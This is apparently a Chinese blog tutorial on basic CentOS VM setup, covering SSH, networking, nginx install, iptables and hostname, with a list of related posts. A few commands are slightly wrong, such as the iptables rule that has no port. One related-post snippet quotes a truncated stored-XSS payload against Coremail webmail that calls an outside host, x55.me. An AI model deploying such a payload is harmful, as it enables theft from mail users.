centos 自带apache(httpd)不用安装

1.查看linux 版本号

方法1:

cat /etc/redhat-release
/etc/redhat-release配置文件用一行内容来声明 Red Hat 的名称和版本号。 由 rc.local 使用.
方法2:查看rpm包版本
rpm -q centos-release

如果是redhat,用这个 rpm -q redhat-release

方法3:linux 通用 但是如果没有lsb_release 命令还需要安装

yum  install   lsb_release  -y

然后查看

lsb_release -a

方法4:

uname  -r   / uname -a

2.设置ssh

我的虚拟机安装完成后,使用ssh命令提示ssh:command not  found

解决方法是:

yum install   openssh*

开启关闭ssh

service sshd restart    或    /etc/init.d/sshd  restart
service sshd stop
SSH开启后会有一个进程SSHD在运行,可以用netstat -nap 命令查询得到
netstat -nap | grep -i sshd

查看ssh端口

netstat -a | grep ssh 或 ps -ef | grep ssh 

3.设置网卡

将网卡设为开机默认启动

vi  /etc/sysconfig/network-scripts/ifcfg=eth0

将里面的onboot 设为yes

启动网卡

/etc/init.d/network  restart   或者   service  network  restart

查看ip地址

ifconfig

如图:

ping 一下 看网卡是否正常

ping  www.baidu.com
有时候eth0不出现,或者没有ip地址 ,设置虚拟机网络为nat或者桥接且选中接入网线cable connected,然后再命令行中 dhclient eth0,一般就可以了

4.yum更新所有软件
yum  update

5.yum安装nginx

直接安装不了,需要先处理下源

rpm -ivh http://nginx.org/packages/centos/6/noarch/RPMS/nginx-release-centos-6-0.el6.ngx.noarch.rpm

然后通过yam安装

yum  install  nginx
6.设置虚拟机网站可以被本机访问
状况如下:本机可以ping通虚拟机,虚拟机也能ping通本机,虚拟机能访问自己的web,本机无法访问虚拟己的web。
原因是防火墙将80端口屏蔽了
解决办法:
/sbin/iptables -I INPUT -p tcp --dport  -j ACCEPT

保存

/etc/rc.d/init.d/iptables save

重启防火墙

/etc/init.d/iptables restart

查看防火墙状态

/etc/init.d/iptables status

7.修改linux的名字

vim /etc/sysconfig/network

NETWORKING=yes
HOSTNAME=localhost.localdomain

改成

NETWORKING=yes
HOSTNAME=namenew

然后

vim   /etc/hosts   

添加

127.0.0.1    namenew

命令行  输入

hostname   namenew 

后关闭命令行重新进入就改完了

centos linux的更多相关文章

  1. CentOS Linux服务器安全设置

    转自:http://www.osyunwei.com/archives/754.html 引言: 我们必须明白:最小的权限+最少的服务=最大的安全 所以,无论是配置任何服务器,我们都必须把不用的服务关 ...

  2. CentOS Linux解决Device eth0 does not seem to be present

    在VMware里克隆出来的Centos Linux.. ifconfig...没有看到eth0..然后重启网卡又报下面错误. 故障现象: 解决办法: 首先,打开/etc/udev/rules.d/70 ...

  3. CentOS linux下安装和配置Apache+SVN(用浏览器http方式访问SVN目录)

    在CentOS linux下安装SVN,我们可以进行以下步骤: 第一步:安装CentOS Linux操作系统,并在CentOS安装进行的同时,自定义安装这一步,一定要勾选Subversion(在“开发 ...

  4. Centos7安装完毕后重启提示Initial setup of CentOS Linux 7 (core)的解决方法

    问题: CentOS7安装完毕,重新开机启动后显示: Initial setup of CentOS Linux 7 (core) 1) [x] Creat user 2) [!] License i ...

  5. CentOS Linux VPS安装IPSec+L2TP VPN

    CentOS Linux VPS安装IPSec+L2TP VPN 时间 -- :: 天使羊波波闪耀光芒 相似文章 () 原文 http://www.live-in.org/archives/818.h ...

  6. [转]装完CentOS后,重新开机启动后显示: Initial setup of CentOS Linux 7 (core)

    转:装完Centos7提示Initial setup of CentOS Linux 7 (core)   在用U盘装完CentOS后,重新开机启动后显示: Initial setup of Cent ...

  7. centos linux安全和调优 第四十一节课

    centos  linux安全和调优    第四十一节课 上半节课 Linux安全 下半节课 Linux调优 2015-07-01linux安全和调优 [复制链接]--http://www.apele ...

  8. 转:装完Centos7提示Initial setup of CentOS Linux 7 (core)

    在用U盘装完CentOS后,重新开机启动后显示: Initial setup of CentOS Linux 7 (core) 1) [x] Creat user 2) [!] License inf ...

  9. Centos linux php扩展安装步骤

    使用phpinfo()函数输出PHP信息,然后找到Configuration File (php.ini) apachectl 其设计意图是帮助管理员控制Apache httpd后台守护进程的功能. ...

  10. VMware ESXi CentOS Linux虚拟机安装VMware Tools教

    转自VMware ESXi CentOS Linux虚拟机安装VMware Tools教程 | 一米居 http://www.yimiju.com/articles/548.html 最近一周在学习和 ...

随机推荐

  1. NOIP200406合并果子

    试题描述 在一个果园里,多多已经将所有的果子打了下来,而且按果子的不同种类分成了不同的堆.多多决定把所有的果子合成一堆.    每一次合并,多多可以把两堆果子合并到一起,消耗的体力等于两堆果子的重量之 ...

  2. YUV YCbCr

    一,介绍 YUV是一种颜色空间 其中“Y”表示明亮度(Luminance或Luma),也就是灰阶值: 而“U”和“V” 表示的则是色度(Chrominance或Chroma),作用是描述影像色彩及饱和 ...

  3. Solve Error Debug Assertion Failed Expression vector iterators incompatible Using PCL in Release Mode of VS2010

    When using PCL 1.4.0 in the release mode building under VS2010, we might sometime get the error &quo ...

  4. 命令行安装KVM

    查看libvirtd的状态: [root@super67 ~]# /etc/init.d/libvirtd status libvirtd (pid  2503) is running... 安装vn ...

  5. Coremail邮件系统存储型XSS两个

    (1):Coremail邮件系统存储型XSS之一 给受害者发送主题如下的邮件: <svg onload='img=new Image();img.src="//x55.me/geo.p ...

  6. nova help network-create

    chen@controller:~$ nova help network-create usage: nova network-create [--fixed-range-v4 <x.x.x.x ...

  7. Spring框架中的定时器 如何使用和配置

    目标类 <bean id="myTimer" class="com.timer.MyTimer"></bean> 配置你的定时器详情 & ...

  8. 关于Message目录的设定

    Yii2 默认了两个message 目录,一个是 yii 和app ,所以如果想自定义message目录,要在自己配置文件中覆盖 i18n的设定,请注意,不能使用 *,要使用 app,才能生效

  9. 【转】TCP协议中的三次握手和四次挥手(图解)

    http://blog.csdn.net/whuslei/article/details/6667471

  10. CSS权威指南 - 浮动和定位 1

    定位 定位的想法很简单元素框相对于正常位置出现在哪里. 定位:static,相对, 绝对, fixed, 继承 static就是默认的位置 相对就是相对于默认位置的偏移.原来的static定位位置依然 ...